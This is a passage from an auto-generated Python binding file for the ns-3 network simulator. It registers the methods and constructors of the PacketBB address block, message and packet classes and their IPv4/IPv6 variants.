## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbAddressTlv> ns3::PbbAddressBlock::TlvFront() [member function]
cls.add_method('TlvFront',
'ns3::Ptr< ns3::PbbAddressTlv >',
[])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbAddressTlv> const ns3::PbbAddressBlock::TlvFront() const [member function]
cls.add_method('TlvFront',
'ns3::Ptr< ns3::PbbAddressTlv > const',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > ns3::PbbAddressBlock::TlvInsert(std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > position, ns3::Ptr<ns3::PbbTlv> const value) [member function]
cls.add_method('TlvInsert',
'std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >', 'position'), param('ns3::Ptr< ns3::PbbTlv > const', 'value')])
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::TlvPopBack() [member function]
cls.add_method('TlvPopBack',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::TlvPopFront() [member function]
cls.add_method('TlvPopFront',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::TlvPushBack(ns3::Ptr<ns3::PbbAddressTlv> address) [member function]
cls.add_method('TlvPushBack',
'void',
[param('ns3::Ptr< ns3::PbbAddressTlv >', 'address')])
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::TlvPushFront(ns3::Ptr<ns3::PbbAddressTlv> address) [member function]
cls.add_method('TlvPushFront',
'void',
[param('ns3::Ptr< ns3::PbbAddressTlv >', 'address')])
## packetbb.h (module 'network'): int ns3::PbbAddressBlock::TlvSize() const [member function]
cls.add_method('TlvSize',
'int',
[],
is_const=True)
## packetbb.h (module 'network'): ns3::Address ns3::PbbAddressBlock::DeserializeAddress(uint8_t * buffer) const [member function]
cls.add_method('DeserializeAddress',
'ns3::Address',
[param('uint8_t *', 'buffer')],
is_pure_virtual=True, is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): uint8_t ns3::PbbAddressBlock::GetAddressLength() const [member function]
cls.add_method('GetAddressLength',
'uint8_t',
[],
is_pure_virtual=True, is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::PrintAddress(std::ostream & os, std::_List_const_iterator<ns3::Address> iter) const [member function]
cls.add_method('PrintAddress',
'void',
[param('std::ostream &', 'os'), param('std::_List_const_iterator< ns3::Address >', 'iter')],
is_pure_virtual=True, is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::SerializeAddress(uint8_t * buffer, std::_List_const_iterator<ns3::Address> iter) const [member function]
cls.add_method('SerializeAddress',
'void',
[param('uint8_t *', 'buffer'), param('std::_List_const_iterator< ns3::Address >', 'iter')],
is_pure_virtual=True, is_const=True, visibility='protected', is_virtual=True)
return
def register_Ns3PbbAddressBlockIpv4_methods(root_module, cls):
## packetbb.h (module 'network'): ns3::PbbAddressBlockIpv4::PbbAddressBlockIpv4(ns3::PbbAddressBlockIpv4 const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PbbAddressBlockIpv4 const &', 'arg0')])
## packetbb.h (module 'network'): ns3::PbbAddressBlockIpv4::PbbAddressBlockIpv4() [constructor]
cls.add_constructor([])
## packetbb.h (module 'network'): ns3::Address ns3::PbbAddressBlockIpv4::DeserializeAddress(uint8_t * buffer) const [member function]
cls.add_method('DeserializeAddress',
'ns3::Address',
[param('uint8_t *', 'buffer')],
is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): uint8_t ns3::PbbAddressBlockIpv4::GetAddressLength() const [member function]
cls.add_method('GetAddressLength',
'uint8_t',
[],
is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): void ns3::PbbAddressBlockIpv4::PrintAddress(std::ostream & os, std::_List_const_iterator<ns3::Address> iter) const [member function]
cls.add_method('PrintAddress',
'void',
[param('std::ostream &', 'os'), param('std::_List_const_iterator< ns3::Address >', 'iter')],
is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): void ns3::PbbAddressBlockIpv4::SerializeAddress(uint8_t * buffer, std::_List_const_iterator<ns3::Address> iter) const [member function]
cls.add_method('SerializeAddress',
'void',
[param('uint8_t *', 'buffer'), param('std::_List_const_iterator< ns3::Address >', 'iter')],
is_const=True, visibility='protected', is_virtual=True)
return
def register_Ns3PbbAddressBlockIpv6_methods(root_module, cls):
## packetbb.h (module 'network'): ns3::PbbAddressBlockIpv6::PbbAddressBlockIpv6(ns3::PbbAddressBlockIpv6 const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PbbAddressBlockIpv6 const &', 'arg0')])
## packetbb.h (module 'network'): ns3::PbbAddressBlockIpv6::PbbAddressBlockIpv6() [constructor]
cls.add_constructor([])
## packetbb.h (module 'network'): ns3::Address ns3::PbbAddressBlockIpv6::DeserializeAddress(uint8_t * buffer) const [member function]
cls.add_method('DeserializeAddress',
'ns3::Address',
[param('uint8_t *', 'buffer')],
is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): uint8_t ns3::PbbAddressBlockIpv6::GetAddressLength() const [member function]
cls.add_method('GetAddressLength',
'uint8_t',
[],
is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): void ns3::PbbAddressBlockIpv6::PrintAddress(std::ostream & os, std::_List_const_iterator<ns3::Address> iter) const [member function]
cls.add_method('PrintAddress',
'void',
[param('std::ostream &', 'os'), param('std::_List_const_iterator< ns3::Address >', 'iter')],
is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): void ns3::PbbAddressBlockIpv6::SerializeAddress(uint8_t * buffer, std::_List_const_iterator<ns3::Address> iter) const [member function]
cls.add_method('SerializeAddress',
'void',
[param('uint8_t *', 'buffer'), param('std::_List_const_iterator< ns3::Address >', 'iter')],
is_const=True, visibility='protected', is_virtual=True)
return
def register_Ns3PbbMessage_methods(root_module, cls):
cls.add_binary_comparison_operator('==')
cls.add_binary_comparison_operator('!=')
## packetbb.h (module 'network'): ns3::PbbMessage::PbbMessage(ns3::PbbMessage const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PbbMessage const &', 'arg0')])
## packetbb.h (module 'network'): ns3::PbbMessage::PbbMessage() [constructor]
cls.add_constructor([])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbAddressBlock> ns3::PbbMessage::AddressBlockBack() [member function]
cls.add_method('AddressBlockBack',
'ns3::Ptr< ns3::PbbAddressBlock >',
[])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbAddressBlock> const ns3::PbbMessage::AddressBlockBack() const [member function]
cls.add_method('AddressBlockBack',
'ns3::Ptr< ns3::PbbAddressBlock > const',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbAddressBlock> > ns3::PbbMessage::AddressBlockBegin() [member function]
cls.add_method('AddressBlockBegin',
'std::_List_iterator< ns3::Ptr< ns3::PbbAddressBlock > >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::PbbAddressBlock> > ns3::PbbMessage::AddressBlockBegin() const [member function]
cls.add_method('AddressBlockBegin',
'std::_List_const_iterator< ns3::Ptr< ns3::PbbAddressBlock > >',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbMessage::AddressBlockClear() [member function]
cls.add_method('AddressBlockClear',
'void',
[])
## packetbb.h (module 'network'): bool ns3::PbbMessage::AddressBlockEmpty() const [member function]
cls.add_method('AddressBlockEmpty',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbAddressBlock> > ns3::PbbMessage::AddressBlockEnd() [member function]
cls.add_method('AddressBlockEnd',
'std::_List_iterator< ns3::Ptr< ns3::PbbAddressBlock > >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::PbbAddressBlock> > ns3::PbbMessage::AddressBlockEnd() const [member function]
cls.add_method('AddressBlockEnd',
'std::_List_const_iterator< ns3::Ptr< ns3::PbbAddressBlock > >',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbAddressBlock> > ns3::PbbMessage::AddressBlockErase(std::_List_iterator<ns3::Ptr<ns3::PbbAddressBlock> > position) [member function]
cls.add_method('AddressBlockErase',
'std::_List_iterator< ns3::Ptr< ns3::PbbAddressBlock > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbAddressBlock > >', 'position')])
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbAddressBlock> > ns3::PbbMessage::AddressBlockErase(std::_List_iterator<ns3::Ptr<ns3::PbbAddressBlock> > first, std::_List_iterator<ns3::Ptr<ns3::PbbAddressBlock> > last) [member function]
cls.add_method('AddressBlockErase',
'std::_List_iterator< ns3::Ptr< ns3::PbbAddressBlock > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbAddressBlock > >', 'first'), param('std::_List_iterator< ns3::Ptr< ns3::PbbAddressBlock > >', 'last')])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbAddressBlock> ns3::PbbMessage::AddressBlockFront() [member function]
cls.add_method('AddressBlockFront',
'ns3::Ptr< ns3::PbbAddressBlock >',
[])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbAddressBlock> const ns3::PbbMessage::AddressBlockFront() const [member function]
cls.add_method('AddressBlockFront',
'ns3::Ptr< ns3::PbbAddressBlock > const',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbMessage::AddressBlockPopBack() [member function]
cls.add_method('AddressBlockPopBack',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbMessage::AddressBlockPopFront() [member function]
cls.add_method('AddressBlockPopFront',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbMessage::AddressBlockPushBack(ns3::Ptr<ns3::PbbAddressBlock> block) [member function]
cls.add_method('AddressBlockPushBack',
'void',
[param('ns3::Ptr< ns3::PbbAddressBlock >', 'block')])
## packetbb.h (module 'network'): void ns3::PbbMessage::AddressBlockPushFront(ns3::Ptr<ns3::PbbAddressBlock> block) [member function]
cls.add_method('AddressBlockPushFront',
'void',
[param('ns3::Ptr< ns3::PbbAddressBlock >', 'block')])
## packetbb.h (module 'network'): int ns3::PbbMessage::AddressBlockSize() const [member function]
cls.add_method('AddressBlockSize',
'int',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbMessage::Deserialize(ns3::Buffer::Iterator & start) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::Buffer::Iterator &', 'start')])
## packetbb.h (module 'network'): static ns3::Ptr<ns3::PbbMessage> ns3::PbbMessage::DeserializeMessage(ns3::Buffer::Iterator & start) [member function]
cls.add_method('DeserializeMessage',
'ns3::Ptr< ns3::PbbMessage >',
[param('ns3::Buffer::Iterator &', 'start')],
is_static=True)
## packetbb.h (module 'network'): uint8_t ns3::PbbMessage::GetHopCount() const [member function]
cls.add_method('GetHopCount',
'uint8_t',
[],
is_const=True)
## packetbb.h (module 'network'): uint8_t ns3::PbbMessage::GetHopLimit() const [member function]
cls.add_method('GetHopLimit',
'uint8_t',
[],
is_const=True)
## packetbb.h (module 'network'): ns3::Address ns3::PbbMessage::GetOriginatorAddress() const [member function]
cls.add_method('GetOriginatorAddress',
'ns3::Address',
[],
is_const=True)
## packetbb.h (module 'network'): uint16_t ns3::PbbMessage::GetSequenceNumber() const [member function]
cls.add_method('GetSequenceNumber',
'uint16_t',
[],
is_const=True)
## packetbb.h (module 'network'): uint32_t ns3::PbbMessage::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## packetbb.h (module 'network'): uint8_t ns3::PbbMessage::GetType() const [member function]
cls.add_method('GetType',
'uint8_t',
[],
is_const=True)
## packetbb.h (module 'network'): bool ns3::PbbMessage::HasHopCount() const [member function]
cls.add_method('HasHopCount',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): bool ns3::PbbMessage::HasHopLimit() const [member function]
cls.add_method('HasHopLimit',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): bool ns3::PbbMessage::HasOriginatorAddress() const [member function]
cls.add_method('HasOriginatorAddress',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): bool ns3::PbbMessage::HasSequenceNumber() const [member function]
cls.add_method('HasSequenceNumber',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbMessage::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbMessage::Print(std::ostream & os, int level) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os'), param('int', 'level')],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbMessage::Serialize(ns3::Buffer::Iterator & start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator &', 'start')],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbMessage::SetHopCount(uint8_t hopcount) [member function]
cls.add_method('SetHopCount',
'void',
[param('uint8_t', 'hopcount')])
## packetbb.h (module 'network'): void ns3::PbbMessage::SetHopLimit(uint8_t hoplimit) [member function]
cls.add_method('SetHopLimit',
'void',
[param('uint8_t', 'hoplimit')])
## packetbb.h (module 'network'): void ns3::PbbMessage::SetOriginatorAddress(ns3::Address address) [member function]
cls.add_method('SetOriginatorAddress',
'void',
[param('ns3::Address', 'address')])
## packetbb.h (module 'network'): void ns3::PbbMessage::SetSequenceNumber(uint16_t seqnum) [member function]
cls.add_method('SetSequenceNumber',
'void',
[param('uint16_t', 'seqnum')])
## packetbb.h (module 'network'): void ns3::PbbMessage::SetType(uint8_t type) [member function]
cls.add_method('SetType',
'void',
[param('uint8_t', 'type')])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbTlv> ns3::PbbMessage::TlvBack() [member function]
cls.add_method('TlvBack',
'ns3::Ptr< ns3::PbbTlv >',
[])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbTlv> const ns3::PbbMessage::TlvBack() const [member function]
cls.add_method('TlvBack',
'ns3::Ptr< ns3::PbbTlv > const',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbMessage::TlvBegin() [member function]
cls.add_method('TlvBegin',
'std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbMessage::TlvBegin() const [member function]
cls.add_method('TlvBegin',
'std::_List_const_iterator< ns3::Ptr< ns3::PbbTlv > >',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbMessage::TlvClear() [member function]
cls.add_method('TlvClear',
'void',
[])
## packetbb.h (module 'network'): bool ns3::PbbMessage::TlvEmpty() const [member function]
cls.add_method('TlvEmpty',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbMessage::TlvEnd() [member function]
cls.add_method('TlvEnd',
'std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbMessage::TlvEnd() const [member function]
cls.add_method('TlvEnd',
'std::_List_const_iterator< ns3::Ptr< ns3::PbbTlv > >',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbMessage::TlvErase(std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > position) [member function]
cls.add_method('TlvErase',
'std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >', 'position')])
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbMessage::TlvErase(std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > first, std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > last) [member function]
cls.add_method('TlvErase',
'std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >', 'first'), param('std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >', 'last')])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbTlv> ns3::PbbMessage::TlvFront() [member function]
cls.add_method('TlvFront',
'ns3::Ptr< ns3::PbbTlv >',
[])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbTlv> const ns3::PbbMessage::TlvFront() const [member function]
cls.add_method('TlvFront',
'ns3::Ptr< ns3::PbbTlv > const',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbMessage::TlvPopBack() [member function]
cls.add_method('TlvPopBack',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbMessage::TlvPopFront() [member function]
cls.add_method('TlvPopFront',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbMessage::TlvPushBack(ns3::Ptr<ns3::PbbTlv> tlv) [member function]
cls.add_method('TlvPushBack',
'void',
[param('ns3::Ptr< ns3::PbbTlv >', 'tlv')])
## packetbb.h (module 'network'): void ns3::PbbMessage::TlvPushFront(ns3::Ptr<ns3::PbbTlv> tlv) [member function]
cls.add_method('TlvPushFront',
'void',
[param('ns3::Ptr< ns3::PbbTlv >', 'tlv')])
## packetbb.h (module 'network'): int ns3::PbbMessage::TlvSize() const [member function]
cls.add_method('TlvSize',
'int',
[],
is_const=True)
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbAddressBlock> ns3::PbbMessage::AddressBlockDeserialize(ns3::Buffer::Iterator & start) const [member function]
cls.add_method('AddressBlockDeserialize',
'ns3::Ptr< ns3::PbbAddressBlock >',
[param('ns3::Buffer::Iterator &', 'start')],
is_pure_virtual=True, is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): ns3::Address ns3::PbbMessage::DeserializeOriginatorAddress(ns3::Buffer::Iterator & start) const [member function]
cls.add_method('DeserializeOriginatorAddress',
'ns3::Address',
[param('ns3::Buffer::Iterator &', 'start')],
is_pure_virtual=True, is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): ns3::PbbAddressLength ns3::PbbMessage::GetAddressLength() const [member function]
cls.add_method('GetAddressLength',
'ns3::PbbAddressLength',
[],
is_pure_virtual=True, is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): void ns3::PbbMessage::PrintOriginatorAddress(std::ostream & os) const [member function]
cls.add_method('PrintOriginatorAddress',
'void',
[param('std::ostream &', 'os')],
is_pure_virtual=True, is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): void ns3::PbbMessage::SerializeOriginatorAddress(ns3::Buffer::Iterator & start) const [member function]
cls.add_method('SerializeOriginatorAddress',
'void',
[param('ns3::Buffer::Iterator &', 'start')],
is_pure_virtual=True, is_const=True, visibility='protected', is_virtual=True)
return
def register_Ns3PbbMessageIpv4_methods(root_module, cls):
## packetbb.h (module 'network'): ns3::PbbMessageIpv4::PbbMessageIpv4(ns3::PbbMessageIpv4 const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PbbMessageIpv4 const &', 'arg0')])
## packetbb.h (module 'network'): ns3::PbbMessageIpv4::PbbMessageIpv4() [constructor]
cls.add_constructor([])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbAddressBlock> ns3::PbbMessageIpv4::AddressBlockDeserialize(ns3::Buffer::Iterator & start) const [member function]
cls.add_method('AddressBlockDeserialize',
'ns3::Ptr< ns3::PbbAddressBlock >',
[param('ns3::Buffer::Iterator &', 'start')],
is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): ns3::Address ns3::PbbMessageIpv4::DeserializeOriginatorAddress(ns3::Buffer::Iterator & start) const [member function]
cls.add_method('DeserializeOriginatorAddress',
'ns3::Address',
[param('ns3::Buffer::Iterator &', 'start')],
is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): ns3::PbbAddressLength ns3::PbbMessageIpv4::GetAddressLength() const [member function]
cls.add_method('GetAddressLength',
'ns3::PbbAddressLength',
[],
is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): void ns3::PbbMessageIpv4::PrintOriginatorAddress(std::ostream & os) const [member function]
cls.add_method('PrintOriginatorAddress',
'void',
[param('std::ostream &', 'os')],
is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): void ns3::PbbMessageIpv4::SerializeOriginatorAddress(ns3::Buffer::Iterator & start) const [member function]
cls.add_method('SerializeOriginatorAddress',
'void',
[param('ns3::Buffer::Iterator &', 'start')],
is_const=True, visibility='protected', is_virtual=True)
return
def register_Ns3PbbMessageIpv6_methods(root_module, cls):
## packetbb.h (module 'network'): ns3::PbbMessageIpv6::PbbMessageIpv6(ns3::PbbMessageIpv6 const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PbbMessageIpv6 const &', 'arg0')])
## packetbb.h (module 'network'): ns3::PbbMessageIpv6::PbbMessageIpv6() [constructor]
cls.add_constructor([])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbAddressBlock> ns3::PbbMessageIpv6::AddressBlockDeserialize(ns3::Buffer::Iterator & start) const [member function]
cls.add_method('AddressBlockDeserialize',
'ns3::Ptr< ns3::PbbAddressBlock >',
[param('ns3::Buffer::Iterator &', 'start')],
is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): ns3::Address ns3::PbbMessageIpv6::DeserializeOriginatorAddress(ns3::Buffer::Iterator & start) const [member function]
cls.add_method('DeserializeOriginatorAddress',
'ns3::Address',
[param('ns3::Buffer::Iterator &', 'start')],
is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): ns3::PbbAddressLength ns3::PbbMessageIpv6::GetAddressLength() const [member function]
cls.add_method('GetAddressLength',
'ns3::PbbAddressLength',
[],
is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): void ns3::PbbMessageIpv6::PrintOriginatorAddress(std::ostream & os) const [member function]
cls.add_method('PrintOriginatorAddress',
'void',
[param('std::ostream &', 'os')],
is_const=True, visibility='protected', is_virtual=True)
## packetbb.h (module 'network'): void ns3::PbbMessageIpv6::SerializeOriginatorAddress(ns3::Buffer::Iterator & start) const [member function]
cls.add_method('SerializeOriginatorAddress',
'void',
[param('ns3::Buffer::Iterator &', 'start')],
is_const=True, visibility='protected', is_virtual=True)
return
def register_Ns3PbbPacket_methods(root_module, cls):
cls.add_binary_comparison_operator('==')
cls.add_binary_comparison_operator('!=')
## packetbb.h (module 'network'): ns3::PbbPacket::PbbPacket(ns3::PbbPacket const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PbbPacket const &', 'arg0')])
## packetbb.h (module 'network'): ns3::PbbPacket::PbbPacket() [constructor]
cls.add_constructor([])
## packetbb.h (module 'network'): uint32_t ns3::PbbPacket::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbPacket::Erase(std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > position) [member function]
cls.add_method('Erase',
'std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >', 'position')])
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbPacket::Erase(std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > first, std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > last) [member function]
cls.add_method('Erase',
'std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >', 'first'), param('std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >', 'last')])
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbMessage> > ns3::PbbPacket::Erase(std::_List_iterator<ns3::Ptr<ns3::PbbMessage> > position) [member function]
cls.add_method('Erase',
'std::_List_iterator< ns3::Ptr< ns3::PbbMessage > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbMessage > >', 'position')])
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbMessage> > ns3::PbbPacket::Erase(std::_List_iterator<ns3::Ptr<ns3::PbbMessage> > first, std::_List_iterator<ns3::Ptr<ns3::PbbMessage> > last) [member function]
cls.add_method('Erase',
'std::_List_iterator< ns3::Ptr< ns3::PbbMessage > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbMessage > >', 'first'), param('std::_List_iterator< ns3::Ptr< ns3::PbbMessage > >', 'last')])
## packetbb.h (module 'network'): ns3::TypeId ns3::PbbPacket::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## packetbb.h (module 'network'): uint16_t ns3::PbbPacket::GetSequenceNumber() const [member function]
cls.add_method('GetSequenceNumber',
'uint16_t',
[],
is_const=True)
## packetbb.h (module 'network'): uint32_t ns3::PbbPacket::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## packetbb.h (module 'network'): static ns3::TypeId ns3::PbbPacket::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## packetbb.h (module 'network'): uint8_t ns3::PbbPacket::GetVersion() const [member function]
cls.add_method('GetVersion',
'uint8_t',
[],
is_const=True)
## packetbb.h (module 'network'): bool ns3::PbbPacket::HasSequenceNumber() const [member function]
cls.add_method('HasSequenceNumber',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbMessage> ns3::PbbPacket::MessageBack() [member function]
cls.add_method('MessageBack',
'ns3::Ptr< ns3::PbbMessage >',
[])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbMessage> const ns3::PbbPacket::MessageBack() const [member function]
cls.add_method('MessageBack',
'ns3::Ptr< ns3::PbbMessage > const',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbMessage> > ns3::PbbPacket::MessageBegin() [member function]
cls.add_method('MessageBegin',
'std::_List_iterator< ns3::Ptr< ns3::PbbMessage > >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::PbbMessage> > ns3::PbbPacket::MessageBegin() const [member function]
cls.add_method('MessageBegin',
'std::_List_const_iterator< ns3::Ptr< ns3::PbbMessage > >',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbPacket::MessageClear() [member function]
cls.add_method('MessageClear',
'void',
[])
## packetbb.h (module 'network'): bool ns3::PbbPacket::MessageEmpty() const [member function]
cls.add_method('MessageEmpty',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbMessage> > ns3::PbbPacket::MessageEnd() [member function]
cls.add_method('MessageEnd',
'std::_List_iterator< ns3::Ptr< ns3::PbbMessage > >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::PbbMessage> > ns3::PbbPacket::MessageEnd() const [member function]
cls.add_method('MessageEnd',
'std::_List_const_iterator< ns3::Ptr< ns3::PbbMessage > >',
[],
is_const=True)
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbMessage> ns3::PbbPacket::MessageFront() [member function]
cls.add_method('MessageFront',
'ns3::Ptr< ns3::PbbMessage >',
[])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbMessage> const ns3::PbbPacket::MessageFront() const [member function]
cls.add_method('MessageFront',
'ns3::Ptr< ns3::PbbMessage > const',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbPacket::MessagePopBack() [member function]
cls.add_method('MessagePopBack',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbPacket::MessagePopFront() [member function]
cls.add_method('MessagePopFront',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbPacket::MessagePushBack(ns3::Ptr<ns3::PbbMessage> message) [member function]
cls.add_method('MessagePushBack',
'void',
[param('ns3::Ptr< ns3::PbbMessage >', 'message')])
## packetbb.h (module 'network'): void ns3::PbbPacket::MessagePushFront(ns3::Ptr<ns3::PbbMessage> message) [member function]
cls.add_method('MessagePushFront',
'void',
[param('ns3::Ptr< ns3::PbbMessage >', 'message')])
## packetbb.h (module 'network'): int ns3::PbbPacket::MessageSize() const [member function]
cls.add_method('MessageSize',
'int',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbPacket::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## packetbb.h (module 'network'): void ns3::PbbPacket::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## packetbb.h (module 'network'): void ns3::PbbPacket::SetSequenceNumber(uint16_t number) [member function]
cls.add_method('SetSequenceNumber',
'void',
[param('uint16_t', 'number')])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbTlv> ns3::PbbPacket::TlvBack() [member function]
cls.add_method('TlvBack',
'ns3::Ptr< ns3::PbbTlv >',
[])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbTlv> const ns3::PbbPacket::TlvBack() const [member function]
cls.add_method('TlvBack',
'ns3::Ptr< ns3::PbbTlv > const',
[],
